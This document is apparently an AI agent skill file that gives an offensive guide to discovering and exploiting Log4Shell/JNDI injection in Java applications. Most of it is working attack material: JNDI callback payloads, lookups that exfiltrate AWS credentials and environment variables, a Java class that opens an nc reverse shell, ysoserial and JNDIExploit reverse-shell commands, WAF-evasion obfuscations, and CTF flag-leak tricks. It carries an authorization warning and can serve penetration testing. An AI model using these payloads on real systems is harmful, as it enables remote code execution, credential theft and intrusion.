| name | log4shell-jndi-exploitation |
| description | How to discover, verify, and exploit JNDI/Log4Shell vulnerabilities in Java applications. Use this skill whenever the user mentions Log4j, JNDI, LDAP injection, CVE-2021-44228, Java deserialization, or needs to test for remote code execution through logging libraries. Make sure to use this skill for any Java application security testing involving logging frameworks, especially when HTTP headers, user input, or configuration files might be logged. |
Log4Shell & JNDI Exploitation
A comprehensive guide for discovering and exploiting JNDI injection and Log4Shell vulnerabilities in Java applications.
⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written permission to test.
When to Use This Skill
Use this skill when:
- Testing Java applications for Log4j vulnerabilities
- Investigating CVE-2021-44228, CVE-2021-45046, or related CVEs
- Analyzing JNDI injection possibilities
- Needing to verify if user input is being logged by vulnerable libraries
- Working with LDAP, RMI, or CORBA-based Java applications
- Preparing for penetration testing engagements involving Java stacks
Quick Reference
| Phase | Command/Tool | Purpose |
|---|
| Discovery | DNS callback payloads | Detect vulnerability |
| Verification | Environment variable exfiltration | Confirm exploitability |
| Exploitation | marshalsec, JNDIExploit | Achieve RCE |
| Bypass | Obfuscation techniques | Evade WAFs |
Phase 1: Discovery
DNS Callback Detection
The most reliable initial detection method. Vulnerable applications will send DNS requests to addresses in your payload.
Recommended callback services:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
${jndi:ldap://2j4ayo.dnslog.cn}
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
Important: Receiving a DNS callback confirms the application processes the payload, but doesn't guarantee full exploitability. You must attempt exploitation.
Local Vulnerability Scanning
Find vulnerable log4j-core versions on local systems:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j-core-(1.[^0]|2.[0-9][^0-9]|2.1[0-6])"
Vulnerable versions:
- Log4j 2.0-beta9 to 2.14.1 (CVE-2021-44228)
- Log4j 2.15.0 (incomplete fix, CVE-2021-45046)
- Log4j 1.x with JMSAppender (CVE-2021-4104)
Phase 2: Verification
Environment Variable Exfiltration
Confirm vulnerability and extract information using DNS callbacks with embedded variables:
${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
${env:AWS_ACCESS_KEY_ID}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:HOSTNAME}
${env:USER}
${env:PATH}
${sys:java.class.path}
${sys:user.home}
${sys:user.name}
Common Variables to Test
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Phase 3: Exploitation
Understanding JDK Version Impact
| JDK Version | LDAP Codebase Loading | Deserialization Attack |
|---|
| < 6u141, 7u131, 8u121 | ✅ Possible | ✅ Possible |
| ≥ 6u141, 7u131, 8u121 | ❌ Blocked (trustURLCodebase=false) | ✅ Still Possible |
Key insight: Higher JDK versions block remote codebase loading via LDAP but remain vulnerable to deserialization attacks using trusted gadgets.
Method 1: Marshalsec with Custom Payload
Setup LDAP referral server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip>:8000/#Exploit"
Create exploit class:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compile and serve:
javac Exploit.java -source 8 -target 8
python3 -m http.server 8000
Trigger exploitation:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Method 2: JNDIExploit
Start the exploit server:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Available exploits:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
ldap://null:1389/Basic/Dnslog/[domain]
Example attacks:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Method 3: JNDI-Exploit-Kit
Generate exploit URLs:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Method 4: ysoserial + JNDI-Exploit-Kit (For Trusted Gadgets)
Best for: Java versions configured to only trust specified classes.
Generate deserialization payload:
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Serve the payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Exploit:
${jndi:ldap://10.10.14.10:1389/generated}
Phase 4: Bypasses
WAF Evasion Techniques
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}
${${::-j}ndi:dns://attackerendpoint.com/}
${:ldap://...}
Localhost Bypass (For Log4j 2.15)
${jndi:ldap://127.0.0.1#attacker.com/a}
Phase 5: Post-Log4Shell Exploitation
Understanding Version Changes
| Version | Message Lookups | JNDI Default | Recursive Lookups |
|---|
| 2.16.0+ | ❌ Removed | ❌ Disabled | ✅ In config only |
| 2.17.0+ | ❌ Removed | ❌ Disabled | ✅ Top-level only |
Exception-Based Exfiltration
Trigger exceptions to exfiltrate data:
${java:${env:FLAG}}
Binary Search via Regex
Use %replace with regex to test flag values:
%replace{${env:FLAG}}{^CTF.*}{${error}}
%replace{${env:FLAG}}{^(?=CTF)((.`)*salt$}{asd}
Amplification Attack
Cause timeout through massive string replacement:
/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
If the flag matches flagGuess, this creates 96+ billion characters, triggering a timeout.
Automated Scanners
Practice Labs
Related CVEs
| CVE | Severity | Description |
|---|
| CVE-2021-44228 | Critical | Untrusted deserialization, RCE |
| CVE-2021-45046 | Critical | DoS via incomplete fix |
| CVE-2021-4104 | High | Log4j 1.x JMSAppender |
| CVE-2021-42550 | Moderate | Logback vulnerability |
| CVE-2021-45105 | High | DoS in 2.16.0 |
| CVE-2021-44832 | High | JDBCAppender RCE |
Scripts
Use the bundled scripts for common tasks:
scripts/scan_local_log4j.sh - Find vulnerable log4j versions locally
scripts/generate_log4shell_payloads.py - Generate various payload types
scripts/setup_dns_callback.sh - Setup DNS callback monitoring
References